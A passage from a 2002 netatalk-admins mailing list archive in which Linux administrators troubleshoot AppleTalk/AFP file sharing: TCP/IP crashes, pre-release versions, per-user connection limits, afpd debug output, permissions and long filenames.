company for doing beta-testing and so on)? Who should do testing, if not we
-- the end users, who benefit from this OpenSource project?

> [...]
> Jan 10 09:56:37 pclgmch1 kernel: eth0: Promiscuous mode enabled.
> Jan 10 09:56:37 pclgmch1 kernel: eth0: Promiscuous mode enabled.

Why do you put your interface in promisc mode?

> [...]
> Jan 10 09:57:29 pclgmch1 atalkd[1064]: as_timer last gateway down
> at this point i have no more TCP/IP services !

And no AppleTalk too, it seems. The interface died completely? Which type of
NIC are you using in your server?

> [...]
>>> if you simply DENY the packets the old macs loop endlessly trying to
>>> connect until the user stop by clicking on a button and then fall back
>>> to appletalk,
>> 
>> The AppleShare client on Macs tries this as long as it is configured for
>> ('TCP Lookup Timeout' value). You can adjust this value with Apple's
>> 'AppleShare Client Setup':
>> 
>> <http://users.phg-online.de/tk/netatalk/AppleShareClientSetup.gif>
> where is this control panel ?

It is a separate unsupported utility from Apple. I believe it has been
removed from the official Apple websites, but you can search the web for:
<http://versiontracker.com/mp/new_search.m?productDB=mac&mode=Quick&OS_Filte
r=MacOS&search=AppleShare+Client+Setup>

> [...]

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jan 14 11:07:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA25428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 11:07:52 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27422
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 11:07:52 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27405
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 11:07:51 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27349
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 11:07:49 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id RAA257931
          for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 17:07:47 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C4310B7.EA38BA7E@unice.fr>
Date: Mon, 14 Jan 2002 17:09:11 +0000
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: how to retrict  the number of connection to one per user
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hello it's me again on the mailing list!

but just for a simple advice... this time
i have users that connect to read their mail with eudora from one host
and after they forget the connection and connect from an other causing
problems with eudora as the mail setting are on the netatalk server, so
i want to restrict the number of connection to one at a time per user on
the same share, is it possible?
i don't want to restrict the whole number of connection but only when
the afpd fork each time the same user connect again...
i want to avoid this sort of output:
dquincey 28222  1196  0 11:04 ?        00:00:00 afpd -c 75 -n
Data-IAG-linux
dquincey 29803  1196  0 16:50 ?        00:00:00 afpd -c 75 -n
Data-IAG-linux
root     29813 27315  0 16:53 pts/0    00:00:00 ps -ef

any idea ?
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Jan 14 12:03:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA28533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 12:03:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA01456
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 12:03:02 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA01446
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 12:03:01 -0500 (EST)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA01371
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 12:02:58 -0500 (EST)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id g0EHCAk22235;
	Mon, 14 Jan 2002 18:12:10 +0100
Message-ID: <3C430F10.85DE99B@hkust.se>
Date: Mon, 14 Jan 2002 18:02:08 +0100
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>,
        carle@unice.fr, gaudray@unice.fr
Subject: Re: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat7.2
References: <B8688DF2.17FE6%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Mon, 14 Jan 2002 12:49:14 +0000, Damien MATTEI wrote:
> 
> > Thomas Kaiser wrote:
> >>
> >> [...] Have you tried the recent 1.5.0 from Sourceforge, too? Maybe those
> >> problems have been addressed meanwhile?
> > the version is netatalk-1.5pre2 from official linux redhat web site,i
> > don't want to make my users beta tester of sourceforge :-)
> 
> Good lord! RedHat made you already an early beta tester as they included a
> 1.5*PRE*2 into their distribution! 1.5.0 is released now (latest PRE-version
> was 1.5pre9!), compiles pretty well and many bugs have been fixed (details:
> <http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/ChangeLog?
> rev=1.127&content-type=text/vnd.viewcvs-markup>)

good lord?

this was redhat 7.1, released early 2001, so it's not that strange
that 1.5.0 wasn't included...



You can find recent RPMs here:
ftp://ftp.falsehope.net/home/tengel/netatalk/


/magnus

> 
> Don't trust your distribution in these things! (Same with eg. SuSE: netatalk
> in 7.3 is built with enable-cnid!)
> 
> BTW: Did you realize that netatalk isn't a commercial tool (and you pay a
> company for doing beta-testing and so on)? Who should do testing, if not we
> -- the end users, who benefit from this OpenSource project?
> 
...
> 
> Regards,
> 
> Thomas

From netatalk.administrators-errors@umich.edu  Mon Jan 14 12:26:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA00145
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 12:26:47 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA04146
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 12:26:47 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA04133
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 12:26:46 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA04085
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 12:26:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA18865;
	Mon, 14 Jan 2002 18:51:42 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 14 Jan 2002 18:26:30 +0100
Subject: Re: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat7.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Magnus Stenman <stone@hkust.se>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>,
        <carle@unice.fr>, <gaudray@unice.fr>
Message-ID: <B868D356.180C0%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C430F10.85DE99B@hkust.se>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 14 Jan 2002 18:02:08 +0100, Magnus Stenman wrote:

> this was redhat 7.1, released early 2001, so it's not that strange
> that 1.5.0 wasn't included...

Of course.

I spoke about the fact, that people trust the 'beta' their linux distro
included with his packages more than the final version.

I always thought only SuSE tends to distribute early pre-releases of
netatalk. Obviously others do the same.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan 16 07:40:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA03613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 07:40:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA02964
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 07:40:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA02952
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 07:40:12 -0500 (EST)
Received: from server.i2rs.nl (213-84-249-14.adsl.xs4all.nl [213.84.249.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA02879
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 07:40:09 -0500 (EST)
Received: from there (server.i2rs.nl [10.1.1.2])
	by server.i2rs.nl (Postfix on SuSE Linux 7.2 (i386)) with SMTP id 24524A546
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 13:40:07 +0100 (CET)
Content-Type: text/plain;
  charset="iso-8859-15"
From: Jeroen Baten <jbaten@i2rs.nl>
Organization: I2RS
To: netatalk-admins@umich.edu
Subject: help needed
Date: Wed, 16 Jan 2002 13:40:06 +0100
X-Mailer: KMail [version 1.3.2]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020116124007.24524A546@server.i2rs.nl>

Hello.

Since a couple of days my appletalk connection doesn't work any more and I 
have no clue as to why. I open the chooser. Select the server (SuSE Linux 
7.3) and it then opens the window where you can select a share (sorry for use 
of MS term). Unfortunately the window never fills with information until the 
moment that I kill the afpd child. But offcourse selecting a share gives the 
message that the server has died.

I did put a -d in afpd and it gaves the following information:

command: 18
12 06 41 46 50 32 2E 32 09 44 48 43 41 53 54 31
..AFP2.2.DHCAST1
32 38 06 6A 65 72 6F 65 6E 00 83 A9 66 2F 39 0B
28.jeroen...f/9.
DD E1 8D FA C9 61 3D CB 1E 7B                           .....a=..{
(end)
reply: -5001, 2
5F C7 1B 01 7F B4 66 E8 40 6B 7F C4 07 02 86 45
_.....f.@k.....E
E4 CE 92 B1 0C 1E 6D 48 C2 2A 46 F2 20 57 79 19         ......mH.*F.
Wy.
9C 74 74 CA F2 3A 16 DA 60 DE FB 4C 67 A6 59 D4
.tt..:..`..Lg.Y.
7A F3                                                   z.
(end)
command: 19
13 00 5F C7 C1 19 94 58 72 A1 23 94 65 55 96 B5
.._....Xr.#.eU..
4F 3B B2 C4 B0 25 58 56 BD 38 EA A4 B1 00 AD C6
O;...%XV.8......
23 16 65 94 82 EC CD B9 2D 55 10 99 7C 84 67 91
#.e.....-U..|.g.
A6 7A C3 09 5E 63 98 B9 C7 1F 7A 90 E0 A4 C4 E3
.z..^c....z.....
D3 D6 10 59 10 70 F2 C3 69 2F EB C9 35 71 89 ED
...Y.p..i/..5q..
AE 0F 57 03                                             ..W.
(end)
reply: 0, 3
(end)
command: 16
10                                                      .
(end)
reply: 0, 4
03 D8 2F C0 02 00 0E 69 32 72 73 20 62 65 73 74         ../....i2rs
best
61 6E 64 65 6E 00 06 6A 65 72 6F 65 6E                  anden..jeroen
(end)
command: 24
18 00 00 20 0E 69 32 72 73 20 62 65 73 74 61 6E         ... .i2rs
bestan
64 65 6E                                                den
(end)
reply: 0, 5
00 20 01 00                                             . ..
(end)
command: 34
22 00 01 00 00 00 00 02 00 00 10 00 02 00               ".............
(end)
reply: 0, 6
00 00 10 00 80 00 87 03 07 07                           ..........
(end)
command: 2
02 00 01 00                                             ....
(end)
reply: 0, 7
(end)
command: 24
18 00 00 20 06 6A 65 72 6F 65 6E                        ... .jeroen
(end)

Can somebody please help?

kind regards,

-- 

  Jeroen Baten            | EMAIL :  JEROEN@I2RS.NL
 ____  _  __              | web   :  www.i2rs.nl
  |  )|_)(_               | tel   :  +31 (0)30 221 00 11
 _|_/_| \__)              | fax   :  +31 (0)30 220 31 91
           Kometenlaan 26, 3721 JT, Bilthoven
     

From netatalk.administrators-errors@umich.edu  Wed Jan 16 08:07:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA04570
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 08:07:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA21111
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 08:07:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA21103
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 08:07:18 -0500 (EST)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA21093
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 08:07:17 -0500 (EST)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 050261E5CE; Wed, 16 Jan 2002 14:07:17 +0100 (MET)
Date: Wed, 16 Jan 2002 14:07:16 +0100
From: Olaf Hering <olh@suse.de>
To: Jeroen Baten <jbaten@i2rs.nl>
Cc: netatalk-admins@umich.edu
Subject: Re: help needed
Message-ID: <20020116140716.A8249@suse.de>
References: <20020116124007.24524A546@server.i2rs.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020116124007.24524A546@server.i2rs.nl>
User-Agent: Mutt/1.3.22.1i

On Wed, Jan 16, Jeroen Baten wrote:

> Since a couple of days my appletalk connection doesn't work any more and I 
> have no clue as to why. I open the chooser. Select the server (SuSE Linux 
> 7.3) and it then opens the window where you can select a share (sorry for use 
> of MS term). Unfortunately the window never fills with information until the 
> moment that I kill the afpd child. But offcourse selecting a share gives the 
> message that the server has died.

Possible a bug in the older version 1.5pre8. Try the 1.5.0 version:

ftp.suse.com/pub/people/olh/netatalk/


Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Wed Jan 16 09:28:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA08840
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 09:28:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA09657
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 09:28:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA09635
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 09:28:35 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA09586
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 09:28:34 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id PAA443813
          ; Wed, 16 Jan 2002 15:27:09 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C459C20.45BF7F9F@unice.fr>
Date: Wed, 16 Jan 2002 15:28:32 +0000
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Olaf Hering <olh@suse.de>
CC: Jeroen Baten <jbaten@i2rs.nl>, netatalk-admins@umich.edu
Subject: Re: help needed
References: <20020116124007.24524A546@server.i2rs.nl> <20020116140716.A8249@suse.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Olaf Hering wrote:
> 
> On Wed, Jan 16, Jeroen Baten wrote:
> 
> > Since a couple of days my appletalk connection doesn't work any more and I
> > have no clue as to why. I open the chooser. Select the server (SuSE Linux
> > 7.3) and it then opens the window where you can select a share (sorry for use
> > of MS term). Unfortunately the window never fills with information until the
> > moment that I kill the afpd child. But offcourse selecting a share gives the
> > message that the server has died.
> 
> Possible a bug in the older version 1.5pre8. Try the 1.5.0 version:
> 
> ftp.suse.com/pub/people/olh/netatalk/
> 
> Gruss Olaf
> 
> --
>  $ man clone
> 
> BUGS
>        Main feature not yet implemented...

i can't believe things go wrong without reasons, i had had some troubles
with true appleshareIP on MacOS 9.x, but restarting reset the problems.
Check if you changed something in your config.
How long does your server run without problems?
look in /var/log/messages for some entries about afp.

-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Wed Jan 16 12:25:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA16904
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 12:25:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA01653
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 12:25:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA01631
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 12:25:07 -0500 (EST)
Received: from harmony.cc.purdue.edu (harmony.cc.purdue.edu [128.210.135.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA01591
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 12:25:06 -0500 (EST)
Received: from harmony.cc.purdue.edu (localhost [127.0.0.1])
	by harmony.cc.purdue.edu (8.10.2+Sun/8.9.3) with ESMTP id g0GHP5u10686
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 12:25:05 -0500 (EST)
Message-Id: <200201161725.g0GHP5u10686@harmony.cc.purdue.edu>
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
To: netatalk-admins@umich.edu
Reply-To: sholmes@purdue.edu
Subject: newbie: FORCE_UIDGID
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 16 Jan 2002 12:25:05 -0500
From: Steve Holmes <sjh@harmony.cc.purdue.edu>

I'm just starting to look into netatalk. I have netatalk-1.5.0, Solaris 8, 
UltraSparc.  

I would like to use the force_uidgid option, but find

1) in configure the help line for this options says: "BROKEN". 

2) when I select the option it doesn't seem to define FORCE_UIDGID, even 
though configure looks like it should.

Is the code broken or is configure broken, and is anyone working on fixing 
it?

Thanks,
Steve.


-- 
Steve Holmes		        \http://harmony.cc.purdue.edu/~sjh
Unix Systems Administrator       \Email:sholmes@purdue.edu
Purdue University Computing Center\
1408 Mathematics Building          \Phone: (765) 496-3325
West Lafayette IN 47907-1408        \





From netatalk.administrators-errors@umich.edu  Wed Jan 16 16:21:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA28895
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 16:21:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA26500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 16:21:42 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA26481
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 16:21:41 -0500 (EST)
Received: from mailrelay2.inwind.it (mailrelay2.inwind.it [212.141.54.102])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA26441
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 16:21:40 -0500 (EST)
Received: from [62.98.47.211] (62.98.47.211) by mailrelay2.inwind.it (5.5.053)
        id 3C3ABE8B00457113 for netatalk-admins@umich.edu; Wed, 16 Jan 2002 22:21:12 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 16 Jan 2002 22:21:06 +0200
Subject: SUSE 7.3 & Netatalk
From: zio Luca <ziocuca@inwind.it>
To: umich <netatalk-admins@umich.edu>
Message-ID: <B86BAD52.B9FD%ziocuca@inwind.it>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I am running a Netatalk fileserver with Suse 7.3. The Netatalk installed
version is 1.4.99-104. I have two hard disk: hda has 4 partitions reiserfs
(/, /usr, /home and /var). hdc has 1 reiserfs partitions (/archivio) on
which resides 2 shared folder and 1 partition ext2 (/varie) on which resides
2 shared folder.
Hereafter I write the working lines (aka non commented with #) of the
configuration files:

atalkd.conf
eth0 -phase 2 -net 0-65534 -addr 65280.222

afpd.conf
"Server Linux" -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so

AppleVolumes.default
/archivio/2002 "archivio 2002"
/archivio/parkeggio "parcheggio grandi lavori"
/home/monday "Archivio storico"
/varie/backup "backup PG"
/varie/commerciali "fax e PG"

The problem is that only when I log to "Server Linux" for access the folder
"fax e PG" the Chooser on the Apple side works fine.
If I try to access any other folder the Chooser hangs up and I have to force
its closure. After this when I try to use Chooser the Chooser refuses to
work and I have to force its closure or even reboot the system.
I have two principal suspects: the 1.4.99 version of Netatalk runs bad or
the Reiser filesystem is incompatible with Netatalk.
Someone can help me?

Thanks

Luca Bramardi


From netatalk.administrators-errors@umich.edu  Wed Jan 16 16:52:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA00742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 16:52:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA10317
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 16:52:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA10279
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 16:52:03 -0500 (EST)
Received: from dot.state.wi.us (hfstbx.dot.state.wi.us [130.47.34.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA10233
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 16:52:02 -0500 (EST)
Received: from SMTP agent by mail gateway 
 Wed, 16 Jan 2002 15:52:02 -0600
Received: by dot.state.wi.us; id QAA27982; Wed, 16 Jan 2002 16:52:01 -0500 (EST)
Received: by mad00mp4.dot.state.wi.us with Internet Mail Service (5.5.2653.19)
	id <CTWDQ08X>; Wed, 16 Jan 2002 15:52:01 -0600
Message-ID: <117EB231197AD51192150003474D3AE242141C@mad00mp5.dot.state.wi.us>
From: "Black, Nathan" <nathan.black@dot.state.wi.us>
To: netatalk-admins@umich.edu
Subject: Permissions?
Date: Wed, 16 Jan 2002 15:52:01 -0600
Return-Receipt-To: "Black, Nathan" <nathan.black@dot.state.wi.us>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Hello,

Configured Netatalk on Redhat 7.2
The Macs see the box but complain about permissions
the user is macuser with no password in /etc/passwd
the shares are full drwxrwxrwx

How do I get Netatalk to log something so that I can see what is preventing
the connection?
What account or permissions is it looking for?
If I compile it with PAM support, does that require that I use PAMs for
authentication?

Nathan

From netatalk.administrators-errors@umich.edu  Wed Jan 16 16:52:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA00803
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 16:52:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA17791
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 16:52:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA17776
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 16:52:55 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA17740
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 16:52:54 -0500 (EST)
Received: from deanix.viz.com (deanix.viz.com [192.168.1.220])
	by florence.viz.com (Postfix) with ESMTP id BAB1CB5815
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 13:45:39 -0800 (PST)
Subject: Long file names and Netatalk
From: Deano! <deano@viz.com>
To: umich <netatalk-admins@umich.edu>
In-Reply-To: <B86BAD52.B9FD%ziocuca@inwind.it>
References: <B86BAD52.B9FD%ziocuca@inwind.it>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 16 Jan 2002 13:49:54 -0800
Message-Id: <1011217794.2127.11.camel@deanix.viz.com>
Mime-Version: 1.0

Just a refresher, please, as I can't find it in any of the FAQs online:

What combination of Netatalk and MacOS is needed to properly see
unix/windows long filename files (greater than 32 chars)? I don't need
to see the full names, per se, I'd just like files with long names to
not* disappear under netatalk. Is this only on OS X, or are there other
options?

-deano


From netatalk.administrators-errors@umich.edu  Wed Jan 16 17:31:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA04249
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 17:31:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA15717
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 17:31:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA15700
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 17:31:57 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA15652
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 17:31:56 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g0GMV3H07687;
	Wed, 16 Jan 2002 14:31:03 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
